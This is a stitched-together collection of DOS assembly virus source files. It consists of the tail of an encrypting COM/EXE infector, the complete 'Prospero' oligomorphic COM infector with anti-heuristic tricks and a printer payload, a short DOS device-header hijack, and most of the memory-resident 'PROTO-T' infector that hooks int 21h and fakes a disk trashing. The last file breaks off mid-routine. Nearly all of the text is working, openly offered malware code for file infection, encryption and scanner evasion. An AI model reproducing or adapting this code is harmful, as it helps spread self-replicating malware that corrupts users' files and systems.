mov word ptr [bp+buffer+16h], ax
mov word ptr [bp+buffer+0Eh], ax ; and stack
mov word ptr [bp+buffer+10h], id
pop dx ; get file length
pop ax
add ax, heap-decrypt ; add virus size
adc dx, 0
mov cl, 9
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 1 ; mod 512
mov word ptr [bp+buffer+4], dx ; new file size
mov word ptr [bp+buffer+2], ax
push cs ; restore ES
pop es
push word ptr [bp+buffer+14h] ; needed later
mov cx, 1ah
jmp short finishinfection
infect_com: ; ax = filesize
mov cx,3
sub ax,cx
lea si,[bp+offset buffer]
lea di,[bp+offset save3]
movsw
movsb
mov byte ptr [si-3],0e9h
mov word ptr [si-2],ax
add ax,103h
push ax ; needed later
finishinfection:
push cx ; Save # bytes to write
xor cx,cx ; Clear attributes
call attributes ; Set file attributes
mov al,2
call open
mov ah,40h ; Write to file
lea dx,[bp+buffer] ; Write from buffer
pop cx ; cx bytes
int 21h
mov ax,4202h ; Move file pointer
xor cx,cx ; to end of file
cwd ; xor dx,dx
int 21h
get_encrypt_value:
mov ah,2ch ; Get current time
int 21h ; dh=sec,dl=1/100 sec
or dx,dx ; Check if encryption value = 0
jz get_encrypt_value ; Get another if it is
mov [bp+decrypt_value],dx ; Set new encryption value
lea di,[bp+code_store]
mov ax,5355h ; push bp,push bx
stosw
lea si,[bp+decrypt] ; Copy encryption function
mov cx,startencrypt-decrypt ; Bytes to move
push si ; Save for later use
push cx
rep movsb
lea si,[bp+write] ; Copy writing function
mov cx,endwrite-write ; Bytes to move
rep movsb
pop cx
pop si
pop dx ; Entry point of virus
push di
push si
push cx
rep movsb ; Copy decryption function
mov ax,5b5dh ; pop bx,pop bp
stosw
mov al,0c3h ; retn
stosb
add dx,offset startencrypt - offset decrypt ; Calculate new
mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of
call code_store ; decryption
pop cx
pop di
pop si
rep movsb ; Restore decryption function
mov ax,5701h ; Restore creation date/time
mov cx,word ptr [bp+newDTA+16h] ; time
mov dx,word ptr [bp+newDTA+18h] ; date
int 21h
mov ah,3eh ; Close file
int 21h
mov ch,0
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
call attributes ; attributes
dec byte ptr [bp+numinfec] ; One mo infection
jnz mo_infections ; Not enough
pop ax ; remove call from stack
jmp done_infections
mo_infections: jmp find_next
open:
mov ah,3dh
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
xchg ax,bx
ret
attributes:
mov ax,4301h ; Set attributes to cx
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
ret
write:
pop bx ; Restore file handle
pop bp ; Restore relativeness
mov ah,40h ; Write to file
lea dx,[bp+decrypt] ; Concatenate virus
mov cx,heap-decrypt ; # bytes to write
int 21h
push bx
push bp
endwrite:
int24: ; New int 24h (error) handler
mov al,3 ; Fail call
iret ; Return control
exe_mask db '*.exe',0
com_mask db '*.com',0
dot_dot db '..',0
heap: ; Variables not in code
; The following code is the buffer for the write function
code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
oldint24 dd ? ; Storage for old int 24h handler
backslash db ?
fake_msg db "If YOU can be a half-wit, so can I!!$"
Row dw 24
origdir db 64 dup (?) ; Current directory buffer
newDTA db 43 dup (?) ; Temporary DTA
numinfec db ? ; Infections this run
buffer db 1ah dup (?) ; read buffer
endheap: ; End of virus
end entry_point

@ -0,0 +1,761 @@
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
;-------------------------------------------------------------------------
; Prospero Virus
;
; (C) Opic [Codebreakers 1998]
;-------------------------------------------------------------------------
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
;IMPORTANT NOTES:
;compiled with TASM 4.1 and TLINK 7.1
;to compile: TASM prospero.asm
; TLINK /t prospero.obj
;Rename Prospero.com Prospero.exe (this is to avoid prospero infecting
;itself first generation only
;Type: appending .com infector
;virus size: 1st Gen 1723 bytes
;infected files grow 1712 bytes
;searches *.c* then comfirms *.COM
;does NOT infect command.com
;nor files bigger the 63824 bytes
;Encryption: 5 types (XOR, NEG, ROR, ROL,and NOT)---|
; used in combination for 7 algorithms <---------|
;Polymorphic: Yes (well Oligomorphic if you wanna get picky), there is a
;stock of 7 different 3op encryption algorithms and delta offsets rutines
;from which the virus chooses (a different type of encryption and delta
;offset is choosen every day of the week). the rest are safely
;encrypted inside the virus body.
;antiheuristics: yes.
;Directory Transversal: DotDot method
;restores infected file time/date stamps
;restores infected file DTA
;Rate of infection:no more then 7 per run
;restores infected file attributes
;payload criteria:The virus will manifest a payload on
;the 1st day of the month if the minutes are above 30.
;payload:a large graphical color text effect as well as a message
;is delivered from through printer:
;************************PROSPERO!**************************
;There is a path to the trancendece of the dollar: Embark
;rich beggars! Does magic bring prosperos to his knees?
;Reading pretty twilight, making grass uncertain?
;Oh,all that christmas snow shouldered by one birthday suit!
;The fate of the world under his armpit like a thermometer?
;Rejoice Villains! Your time has come.
;**************(C) Opic [CodeBreakers,98]*******************
;EXTRA SPECIAL GREETS AND THANX GO OUT TO:
;DARX_KIES, OWL[FS], DARKMAN, MIKEE, ALL the CodeBreakers and the countless
;others that have helped me learn and progress.
;
;OTHER: it has been awhile since I have looked at this virus, but it has come
;to my attention that it may have a bug in the directory transversal rutine,
;im not particularly interested in working on this virus any further, but
;felt it should be noted for the record (suprisingly it made it to the
;supplimentals on "the wild list").
;------------------------------------------------------------------------
.286
prospero Segment
Assume CS:prospero, DS:prospero, ES:prospero
Org 100H
jumps
start:
mov cx,0ffffh ;loop to kill heuristic scanners
no_av1:
jmp no_av2
mov ax,4c00h
int 21h
no_av2:
loop no_av1
call delta ;call delta
delta: ;duh!
pop bp ;pop bp
sub bp,offset delta ;fer the distanc
Nop ;You need those two nops.
Nop ;
;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
;----------setup-----------------
lea si,[bp+c_start] ;
mov di,si ;
mov cx,virus_end - c_start ;
call encrypt ;
jmp c_start ;
value db 0 ;decrypt value
stop: ;label for later
;---------to be polyed------------
encrypt: ;padding
DB 20 Dup(90H)
ret ;=21 for crypt
;--------start of crypt body-------
c_start: ;part to crypt
;------clear infection counter----
mov byte ptr [bp+counter],0
mov cx,3 ;get first 3
mov di,100h ;restore em!
lea si,[bp+buff]
rep movsb
;--------save DTA------------------
lea di,[bp+NewDTA]
mov si,80h ;DTA to save
mov cx,2Ah ;length of DTA 2ah
rep movsb ;save it
;-----------first------------------
find_first: ;find first
mov ah,4eh ;file
find_next: ;we need this lata
lea dx,[bp+filemask] ;what we is lookin fer
int 21h ;now!
jnc verify ;find one? infect
;----------------DT--------------------------
dotdot:
lea dx,[bp+dot] ;get dot from dataseg
mov ah,3Bh ;cd
int 21h ;go!
jnc find_first ;find first in new dir
;------------payload check--------------------
check_payload: ;payload check
mov ah,2ah ;system date
int 21h ;now!
cmp dl,1 ;is it the first?
je n_check ;yes? second check
jmp close
n_check:
mov ah,2Ch ;internal clock
cmp cl,30d ;minutes 30 or above?
jae payload ;yes? lets do it!
jmp close ;no? lets chill
;---------graphic payload-------------------------
payload:
mov ax,13 ;set mode 13h
int 10h ;call bios
mov dx,030ah;dh/dl are the line/column coordinates
xor bh,bh ;on page 0
mov ah,02h ;02h=move cursor to
int 10h ;go
push cs ;
pop ds ;
lea si,[bp+ offset message1];1st message
mov cx,14 ;length
show: ;shows the message
lodsb ;keep goin
mov bl,2 ;color
mov ah,0eh ;write one letter
int 10h ;
loop show ;till we do em all
add dx,507 ;get ready fer #2
mov ah,02h ;put cursor
int 10h ;
lea si,[bp+ offset message2];mess2
mov cx,27 ;length
show2: ;
lodsb ;
mov bl,30 ;color
mov ah,0eh ;
int 10h ;
loop show2 ;
mov ah,01h ;begin of printer sect of payload
mov dx,0h
int 17h ;int for initializing printer
lea si,string1
mov cx,EndStr1-String1
PrintStr:
mov ah,00h
lodsb
int 17h
loop PrintStr
mov ax,4c00h;exit
int 21h ;dos
;---------ret to host-------------
close: ;exit stage left
;---------restore DTA------------------------
lea si,[bp+NewDTA] ;saved DTA
mov di,80h ;area it was
mov cx,2Ah ;length
rep movsb ;write it
push 100h ;start o file
ret ;dar!
;-------start .com checks--------
verify:
mov cx,13d ;max size of file name
mov si,9eh ; !!!!
;---------*.com and not command--------
compare:
lodsb ;find the point!
cmp al,"." ;is it?
jne compare ;no? try again
inc si ;yes? next letter
cmp word ptr [si], "MO" ;does it spell .COM?
je check_for_command_com ;no find next!
jmp close_file
check_for_command_com:
cmp word ptr [bp+9eh+2], "MM" ;is it command.com?
je close_file ;yes? next!
;-------------save attribs-----------------
infect: ;duh!
Mov si,95h ; !!!! get dta
mov cx,09h ;mov it to cx
lea di,[bp+attribs] ;save em
rep movsb ;move em
;-------------clear atrribs----------------
Mov dx,9Eh ;filename in DTA
mov ax,4301h ;so we can infect
xor cx,cx ;all .coms
int 21h ;
mov ax,3d02h ;open file fer read/write
mov dx,9eh ;get info
int 21h ;go!
xchg bx,ax ;put ax in bx
;---------------time/date-----------------------
mov ax,5700h ;get time/date stamp
int 21h ;save em----|
push dx ; <-------|
push cx ; <-------|
;--------------rand xor value--------------------
in al,40h ;new crypt value
mov byte ptr [bp+value],al ;put it place
;--------------first 3-----------------------------
mov ah,3fh ;read 3 bytes from the file.. too
;
mov cx,5 ;be replaced with a jump to the virus
lea dx,[bp+buff] ;load buffer in dx
int 21h ;go!
;------------size check---------------------
mov di,9Ah
cmp word ptr [di],63824 ;size check! no bigger then 63824 bytes
jae close_file ;
;-----------prev infected?----------------------
infect_check:
pusha ; i saved registers since i did not take the time
; to check which registers must be saved
mov ax,4200h ; set r/w pointer to start of file +1
xor cx,cx
mov dx,1
int 21h
mov ah,3fh ; read the jump displacement
mov cx,2
lea dx,opbuf+bp
int 21h
mov ax,opbuf+bp
add ax,3 ; add 3 to jump displacement to get offset
; of marker ':('
mov dx,ax
mov cx,0
mov ax,4200h ; set pointer to marker offset
int 21h
mov ah,3fh ; read 2 bytes again
mov cx,2
lea dx,opbuf+bp
int 21h
popa ; registers popped here
cmp opbuf+bp,'(:' ; check for marker
je close_file ; marker found? close file
jmp short over_opbuf ; otherwise proceed
over_opbuf:
; mov si,9ah ;
; mov ax,word ptr [si] ;infected?
; sub ax,virus_end - start + 3 ;check it?
; cmp ax,word ptr[bp+buff+1] ;compare..
; je close_file ;already infected? outta here!
;----------infect already-------------------
mov si,9ah
mov ax,word ptr[si]
sub ax,3
mov word ptr[bp+three+1],ax
mov ax,4200h ;start of file
xor cx,cx ;clear
xor dx,dx ;cx and dx
int 21h ;now!
;------------write jump----------------------
mov ah,40h ;write the 3 byte jump
lea dx,[bp+three] ;load em
mov cx,3 ;move em
int 21h ;now!
jmp next
close_file: ;
jmp restc ;
;---------write cryptor------------------------------
next: ;
mov ax,4202h ;end of file
xor cx,cx ;clear
xor dx,dx ;em
int 21h ;now!
;---------POLY: cryptor-------------------------------
;pick random cryptor from stock of 7
poly: ;determine 2nd part of cryptor
mov ah,2ah ;get day of week
int 21h ;now
;------find which cryptor to write to infection-----------
or al,al ;is it.....sunday
jz d0 ;
cmp al,001h ;mon
je d1 ;
cmp al,002h ;tue
je d2 ;
cmp al,003h ;wed
jne td4 ;
Jmp d3
td4:
cmp al,004h ;thur
jne td5 ;
Jmp d4
td5:
cmp al,005h ;fri
jne td6 ;
Jmp d5
td6:
Jmp d6
;-------load the cryptor we need--------------------
d0: ;pick and write Zero cryptor
mov al,[bp+value]
mov [bp+value0],al
mov ah,40h
lea dx,[bp+del] ;
mov cx,del1 - del ;
int 21h ;
lea si,[bp+c_start] ;
lea di,[bp+virus_end] ;load
mov cx,virus_end - c_start ;move
call crypt
jmp write
d1: ;pick and write 1st cryptor
mov al,[bp+value]
mov [bp+value1],al
mov ah,40h
lea dx,[bp+del1] ;
mov cx,del2 - del1 ;
int 21h ;
lea si,[bp+c_start] ;
lea di,[bp+virus_end] ;load
mov cx,virus_end - c_start ;move
call crypt1
jmp write
d2: ;pick and write 2nd cryptor
mov al,[bp+value]
mov [bp+value2],al
mov ah,40h
lea dx,[bp+del2] ;
mov cx,del3 - del2 ;
int 21h ;
lea si,[bp+c_start] ;
lea di,[bp+virus_end] ;load
mov cx,virus_end - c_start ;move
call crypt2
jmp write
d3: ;pick and write 3rd cryptor
mov al,[bp+value]
mov [bp+value3],al
mov ah,40h
lea dx,[bp+del3] ;
mov cx,del4 - del3 ;
int 21h ;
lea si,[bp+c_start] ;
lea di,[bp+virus_end] ;load
mov cx,virus_end - c_start ;move
call crypt3
jmp write
d4: ;pick and write 4th cryptor
mov al,[bp+value]
mov [bp+value4],al
mov ah,40h
lea dx,[bp+del4] ;
mov cx,del5 - del4 ;
int 21h ;
lea si,[bp+c_start] ;
lea di,[bp+virus_end] ;load
mov cx,virus_end - c_start ;move
call crypt4
jmp write
nope:
jmp close
d5: ;pick and write 5th cryptor
mov al,[bp+value]
mov [bp+value5],al
mov ah,40h
lea dx,[bp+del5] ;
mov cx,del6 - del5 ;
int 21h ;
lea si,[bp+c_start] ;
lea di,[bp+virus_end] ;load
mov cx,virus_end - c_start ;move
call crypt5
jmp write
d6:
mov al,[bp+value]
mov [bp+value6],al
mov ah,40h
lea dx,[bp+del6] ;
mov cx,noc - del6 ;
int 21h
lea si,[bp+c_start] ;
lea di,[bp+virus_end] ;load
mov cx,virus_end - c_start ;move
call crypt6
;-------write crypted area--------------------
write:
mov ah,40h ;write encrypted area
lea dx,[bp+virus_end] ;load
mov cx,virus_end - c_start ;move
int 21h ;now!
count:
inc byte ptr [bp+counter] ;add one
;-----------restore time/date---------------
restc:
mov ax,5701h ;restore stamps
pop cx ;remember?
pop dx ;we saved these!
int 21h ;
;-------------close--------------------------
mov ah,3eh ;close file
int 21h ;go!
;------------restore attribs-----------------
mov ax,4301h ;set attribs
Mov dx,9Eh ; !!!! name in DTA
xor cx,cx ;clear!
mov cl, byte ptr [bp+attribs] ;attribs in cl
int 21h ;go
cmp byte ptr [bp+counter],7 ;this isnt completly
;accurate due to the
;the fact that it
;counts fails from
;infection checks
;but i kinda like having
;a semi random infection check
ja nope ;and exit
;--------------next and infection check----------
next1:
mov ah,4Fh ;find next file
jmp find_next ;continue!
;-----------our stock of cryptors------------
del:
db ':('
cli ; 1
db 0E8h,0,0 ; 3
pop ax ; 1
sti ; 1
sub ax,offset delta+1 ; 3
xchg bp,ax ; 1 =10
lea si,[bp+c_start] ;
mov di,si ;
mov cx,virus_end - c_start ;
call crypt ;
Jmp Del1
Value0 db 0
crypt:
lodsb ;
Push CX
Nop
Mov CL,4
rol al,CL ;
Nop
neg al ;
rol al,CL ;
Nop
Pop CX
stosb ;
Nop
loop crypt ;
ret ;21 !!!
Nop
Nop
;--------------------------------------------
del1:
db ':('
db 0E8h,00,00 ;
sti ;
pop bp ;
xchg bx,ax ;
sub bp,offset delta ;
lea si,[bp+c_start] ;
mov di,si ;
mov cx,virus_end - c_start ;
call crypt1 ;
Jmp Del2
Value1 db 0
crypt1:
Nop
lodsb ;
Nop
neg al ;
Push CX
Mov CL,4
ror al,CL ;
Pop CX
Nop
neg al ;
Nop
stosb ;
Nop
loop crypt1 ;
ret ;21 !!!
Nop
;------------------------------------------
del2:
db ':('
cld ;
db 0E8h,0,0 ;
pop bp ;
clc ;
sub bp,offset delta+1 ;
lea si,[bp+c_start] ;
mov di,si ;
mov cx,virus_end - c_start ;
call crypt2 ;
Jmp Del3
Value2 DB 0
crypt2:
Nop
Nop
lodsb ;
not al ;
nop ;
xor al,byte ptr [bp+value] ;
nop ;
not al ;
nop ;
Nop
stosb ;
loop crypt2 ;
Nop
ret ;21 !!!
;---------------------------------------
del3:
db ':('
sti ; 1
nop ; 1
db 0E8h,0,0 ; 3
pop bp ; 1
sub bp,offset delta+2 ; 4=10
lea si,[bp+c_start] ;
mov di,si ;
mov cx,virus_end - c_start ;
call crypt3 ;
Jmp Del4
Value3 db 0
crypt3:
lodsb ;
Push CX
Nop
Nop
Mov CL,4
ror al,cl ;
not al ;
Nop
ror al,cl ;
Nop
Pop CX
stosb ;
loop crypt3 ;
Nop
ret ;21 !!!
Nop
;---------------------------------------
del4:
db ':('
db 0E8h,0,0 ; 3
pop ax ; 1
xchg bx,ax ; 1
xchg bx,ax ; 1
sub ax,offset delta ; 3
xchg bp,ax ; 1
lea si,[bp+c_start] ;
mov di,si ;
mov cx,virus_end - c_start ;
call crypt4 ;
Jmp Del5
Value4 db 0
crypt4: ;
lodsb ;
Push CX
Mov CL,4
xor al,byte ptr [bp+value] ;
rol al,cl ;
xor al,byte ptr [bp+value] ;
Pop CX
stosb ;
loop crypt4 ;
ret ;21 !!!
;--------------------------------------
del5:
db ':('
db 0E8h,0,0 ; 3
nop ; 1
pop ax ; 1
nop ; 1
sub ax,offset delta ; 3
xchg bp,ax ; 1 ; = 10
lea si,[bp+c_start] ;
mov di,si ;
mov cx,virus_end - c_start ;
call crypt5 ;
Jmp Del6
Value5 db 0
crypt5: ;
Nop
lodsb ;
not al ;
Push CX
Nop
Mov CL,4
ror al,cl ;
Nop
Pop CX
Nop
not al ;
Nop
stosb ;
Nop
loop crypt5 ;
ret ;21 !!!
;--------------------------------------
del6:
db ':('
sti ; 1
clc ; 1
db 0E8h,0,0 ; 3
pop ax ; 1
sub ax,offset delta +2 ; 3
xchg bp,ax ; 1=10
lea si,[bp+c_start] ;
mov di,si ;
mov cx,virus_end - c_start ;
call crypt6 ;
Jmp Noc
Value6 db 0
crypt6: ;
lodsb ;
Push CX
Mov CL,4
ror al,CL
Nop
xor al,byte ptr [bp+value]
ror al,CL
Nop
Pop CX
stosb
Nop
loop crypt6
ret
noc: ;21 !!!
;-----------DATA--------------------------
newdta db 2ah dup(?)
filemask db '*.c*',0
three db 0e9h,0,0
buff db 0cdh,20h,0
dot db '..',0
message1 db "Prospero Virus" ;14
message2 db "(C) Opic [CodeBreakers '98]" ;27
counter db 0
attribs db 0h
opbuf dw 0
String1 db '************************PROSPERO!**************************',0dh,0ah
db 'There is a path to the trancendece of the dollar: Embark',0dh,0ah
db 'rich beggars! Does magic bring prosperos to his knees?',0dh,0ah
db 'Reading pretty twilight, making grass uncertain?',0dh,0ah
db 'Oh,all that christmas snow shouldered by one birthday suit!',0dh,0ah
db 'The fate of the world under his armpit like a thermometer?',0dh,0ah
db 'Rejoice Villains! Your time has come.',0dh,0ah
db '**************(C) Opic [CodeBreakers,98]*******************',0Ch
EndStr1:
;--------------------------------------------------------------------------
Virus_End:
prospero Ends
End Start

@ -0,0 +1,75 @@
code segment public 'code'
assume cs:code, ds:code, es:code
org 100h
Main: mov ah,30h ; fn 30h = Get Dosversion
int 21h ; int 21h
cmp al,4 ; major dosversion
sbb si,si
mov ah,52h ; get internal list of lists
int 21h ; int 21h
lds bx,es:[bx] ; get pointer to first drive
; paramenter block
Search: mov ax,ds:[bx+si+15h] ; get segment of device header
cmp ax,70h ; dos device header ??
jne Next ; no, go to next device
cmp byte ptr ds:[bx],0
je Next
xchg ax,cx
mov di,ds:[bx+si+13h] ; get offset of device header
mov word ptr ds:[bx+si+13h],offset Header
mov ds:[bx+si+15h],cs ; set addres of new device
Next: lds bx,ds:[bx+si+19h] ; next drive parameter block
cmp bx,-1 ; last block ?
jne Search ; no, go to Search
jcxz Error
mov ds,cx
mov si,di
push cs
pop es
mov di,offset Header
cld
movsw
movsw
movsw
mov ax,offset Strategy
stosw
mov ax,offset Interrupt
stosw
push di
mov di,offset Strategy
mov al,0eah
stosb
movsw
mov ax,cx
stosw
mov di,offset Interrupt
mov al,0eah
stosb
movsw
mov ax,cx
stosw
pop di
movsw
mov ax,3100h
mov dx,20h
int 21h
Error: mov ax,4c01h
int 21h
Header db 12 dup(?)
Interrupt db 5 dup(?)
Strategy db 5 dup(?)
code ends
end Main

; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

@ -0,0 +1,420 @@
;PROTO-T virus: a simple, memory resident .COM infector for
;Crypt newsletter 9. Assemble with any MASM/TASM compatible assembler.
;
;On call, PROTO-T will manipulate the interrupt table directly, hooking
;int 21h and decreasing the amount of memory by a little over 1k.
;It will infect COMMAND.COM
;if a shell is installed while the virus is in RAM. At start,
;PROTO-T polls the system time. If it is after 4:00 in the
;afternoon, the speaker will issue a hideous ringing noise and the
;hard file will be read very quickly, faking a massive Michelangelo-style
;trashing. The disk will continue to read until the user restores
;control by booting. (I took this slick routine from the first issue
;of "Computer Virus Developments Quarterly," edited by Mark Ludwig, American
;Eagle Publishing, Tucson, AZ.) The disk effect is harmless, but unsettling
;to those surprised by it. Heh.
;
;Files infected with PROTO-T will generally function normally until
;4 in the afternoon, when the virus locks them up until the next
;day by way of the nuisance routines described above. Infected files have
;the ASCII string, 'This program is sick. [PROTO-T by Dumbco, INC.]'
;appended to them at the end where the body of the virus is located.
;
;PROTO-T is not currently scanned. However, its modifications are easily
;flagged by a good file integrity checker. For example, Dr. Solomon's
;Toolkit picked PROTO-T changes off an infected disk with both the QCV
;(quick check virus) and CHKVIRUS (CHECKVIRUS) utilities. Unfortunately,
;the novice user is left on his own by the Toolkit to determine the cause
;of the changes - a drawback which diminishes the software's value
;considerably, IMHO.
;
;I encourage you to play with PROTO-T by Dumbco. It is a
;well-behaved resident virus, useful in demonstrating the behavior
;of simple resident infectors and how they can "pop-up" suddenly and
;ruin your day. Of course, files infected by PROTO-T are, for all
;intents and purposes, useless for future computing unless you like
;the idea of a resident virus keeping you company and freezing up
;your work late in the afternoon.
;
;Known incompatibilities: PROTO-T will behave weirdly on machines
;using SYMANTEC's NDOS as a command processor. And some caches will
;cause PROTO-T to hang the machine immediately. For best results,
;plain vanilla MS-DOS 4.01 and MS-DOS 5.0 with or without memory
;management seems to work fine. (Ain't this somethin': software
;advisories with a virus!)
;
;Code for PROTO-T was obtained from Nowhere Man's VCL 1.0 assembly libraries,
;& our European friends Dark Helmet and Peter Venkmann with their very
;complete code archives (in particular, the CIVIL_II template). The
;'scarey ' subroutine was excerpted from "Computer Virus Developments
;Quarterly", Vol. 1., No.1.
.radix 16
code segment
model small
assume cs:code, ds:code, es:code
org 100h
length equ offset last - begin
virus_length equ length / 16d
host: db 0E9h, 03h, 00h, 44h, 48h, 00h ;jump + infection
;marker in host
begin:
call virus ;make call to
;push instruction pointer on stack
virus:
mov ah,02Ch ;DOS get time function
int 021h
mov al,ch ;Copy hour into AL
cbw ;Sign-extend AL into AX
cmp ax,0010h ;Did the function return 16 (4 pm)?
jge malfunkshun ;If after 4 pm, do Proto-T thang!
jmp getonwithit
malfunkshun: ;sound and fury start
cli ;turn off interrupts
mov dx,2
agin1: mov bp,40 ;do 40 cycles of sound
mov si,1000 ;1st frequency
mov di,2000 ;2nd frequency
mov al,10110110b ;address of channel 2 mode 3
out 43h,al ;send to port
agin2: mov bx,si ;place sound number in bx
backerx: mov ax,bx ;now put in ax
out 42h,al
mov al,ah
out 42h,al
in al,61h ;get port value
or al,00000011b ;turn speaker on
out 61h,al
mov cx,2EE0h ;delay
looperx: loop looperx ;do nothing loop so sound is audible
xchg di,si
in al,61h ;get port value
and al,11111100b ;AND - turn speaker off
out 61h,al ;send it
dec bp ;decrement repeat count
jnz agin2 ;if not = 0 do again
mov ax,10 ;10 repeats of 60000 loops
back: mov cx,0EA60h ;loop count (in hex for TASM)
loopery: loop loopery ;delay loops - no sound between bursts
dec ax
jnz back ;if not = 0 loop again
dec dx
jnz agin1 ;if not = 0 do whole thing again
sti ;restore interrupts
mov si,0 ;scarey part: drive reads real
scarey: lodsb ;fast ala Michelangelo-style
mov ah,al ;over-write, but this routine only
lodsb ;gets random bytes here for a
and al,3 ;cylinder to READ
mov dl,80h
mov dh,al
mov ch,ah
mov cl,1
mov bx,offset last ;buffer to read into
mov ax,201h
int 13h
jmp short scarey ;yow! scarey! just think if this
;was made by someone not as nice as
;me
note db 'This program is sick. [PROTO-T by Dumbco, INC.]'
getonwithit: pop bp ; get IP from stack.
sub bp,109h ; adjust IP.
restore_host: mov di,0100h ; recover beginning
lea si,ds:[carrier_begin+bp] ; of carrier program.
mov cx,06h
rep movsb
check_resident: mov ah,0A0h ;check if virus
int 21h ;already installed.
cmp ax,0001h
je end_virus
adjust_memory: mov ax,cs ;get Memory
dec ax ;Control Block
mov ds,ax
cmp byte ptr ds:[0000],5a ;check if last
;block -
jne abort ;if not last block,
;end
mov ax,ds:[0003] ;decrease memory
sub ax,50 ;by 1kb
mov ds:0003,ax
install_virus: mov bx,ax ;PSP
mov ax,es ;virus start
add ax,bx ;in memory
mov es,ax
mov cx,length ;cx = length virus
mov ax,ds ;restore ds
inc ax
mov ds,ax
lea si,ds:[begin+bp] ;point to start virus
lea di,es:0100 ;point to destination
rep movsb ;copy virus in
;memory
mov [virus_segment+bp],es ;store start of virus
;in memory
mov ax,cs ;restore extra segment
mov es,ax
hook_vector: cli ;disable interrupts
;because we're manipulating
mov ax,3521h ;the interrupt table and a
;crash would look bad
int 21h ;function 3521h - retrieve
mov ds,[virus_segment+bp] ;address of current handler
mov ds:[old_21h-6h],bx
mov ds:[old_21h+2-6h],es
mov dx,offset main_virus - 6h
mov ax,2521h ;copy new address (virus) to
int 21h ;interrupt table
sti ;interrupts on
abort: mov ax,cs ;restore everything
mov ds,ax
mov es,ax
xor ax,ax
end_virus:
mov bx,0100h ;jump to beginning
jmp bx ;of host file
;***************************************************************************
main_virus: pushf
cmp ah,0A0h ;check for virus
jne new_21h ;no virus call
mov ax,0001h ;ax = id
popf ;return id
iret
new_21h: push ds ;save registers
push es
push di
push si
push ax
push bx
push cx
push dx
cmp ah,40h
jne check_05
cmp bx,0004h
jne check_05
check_05: cmp ah,05h
jne check_exec
check_exec: cmp ax,04B00h ;intercept execute function
jne continue
mov cs:[name_seg-6],ds
mov cs:[name_off-6],dx
jmp chk_com ;goto check target
continue: pop dx ;restore registers
pop cx
pop bx
pop ax
pop si
pop di
pop es
pop ds
popf
jmp dword ptr cs:[old_21h-6]
chk_com: cld ;check extension of loaded file
mov di,dx ;for COM
push ds
pop es
mov al,'.' ;search extension
repne scasb ;for 'COM', so
cmp word ptr es:[di],'OC' ;check 'CO'
jne continue ;and
cmp word ptr es:[di+2],'M' ;check 'M'
jne continue
call set_int24h
call set_attribute
open_file: mov ds,cs:[name_seg-6] ;name of target file
mov dx,cs:[name_off-6]
mov ax,3D02h ;open file
call do_int21h ;simulate int21 call, see below
jc close_file
push cs
pop ds
mov [handle-6],ax
mov bx,ax
call get_date
check_infect: push cs
pop ds
mov bx,[handle-6] ;read first 6 bytes
mov ah,3fh
mov cx,06h
lea dx,[carrier_begin-6]
call do_int21h
mov al, byte ptr [carrier_begin-6]+3 ; check initials
mov ah, byte ptr [carrier_begin-6]+4 ; 'D' and 'H'
cmp ax,[initials-6]
je save_date ;if equal, already
;infected
get_length: mov ax,4200h ;set file pointer to begin
call move_pointer
mov ax,4202h ;set file pointer to end
call move_pointer
sub ax,03h ;ax = file length
mov [length_file-6],ax
call write_jmp
call write_virus ;summon write virus to file
save_date: push cs ;save date of file
pop ds
mov bx,[handle-6]
mov dx,[date-6]
mov cx,[time-6]
mov ax,5701h
call do_int21h
close_file: mov bx,[handle-6]
mov ah,03eh ;close file
call do_int21h
mov dx,cs:[old_24h-6] ;restore int24h
mov ds,cs:[old_24h+2-6]
mov ax,2524h
call do_int21h
jmp continue
new_24h: mov al,3 ;critical error handler
iret
;---------------------------------------------------------------------------
; PROCEDURES
;---------------------------------------------------------------------------
move_pointer: push cs
pop ds
mov bx,[handle-6]
xor cx,cx
xor dx,dx
call do_int21h
ret
;since virus owns int21, a
do_int21h: pushf ;direct call would be counter
call dword ptr cs:[old_21h-6];productive, so do a pushf
ret ;and call combination - Dark
;Angel's virus guide is great
write_jmp: push cs ;at expalining this
pop ds
mov ax,4200h ;set pointer to beginning of file
call move_pointer
mov ah,40h
mov cx,01h
lea dx,[jump-6]
call do_int21h
mov ah,40h
mov cx,02h
lea dx,[length_file-6]
call do_int21h
mov ah,40h
mov cx,02h
lea dx,[initials-6]
call do_int21h
ret
write_virus: push cs
pop ds
mov ax,4202h ;write to file function
call move_pointer
mov ah,40
mov cx,length ;virus length
mov dx,100
call do_int21h ;do it
ret
get_date: mov ax,5700h ;retrieve date function
call do_int21h ;do it
push cs
pop ds
mov [date-6],dx ;restore date & time
mov [time-6],cx
ret
;set up critical error handler
set_int24h: mov ax,3524h ;request address of current handler
call do_int21h ;simulate int21 call
mov cs:[old_24h-6],bx
mov cs:[old_24h+2-6],es
mov dx,offset new_24h-6
push cs
pop ds
mov ax,2524h ;set vector to virus handler
call do_int21h ;do it
ret
set_attribute: mov ax,4300h ;get attribute
mov ds,cs:[name_seg-6]
mov dx,cs:[name_off-6]
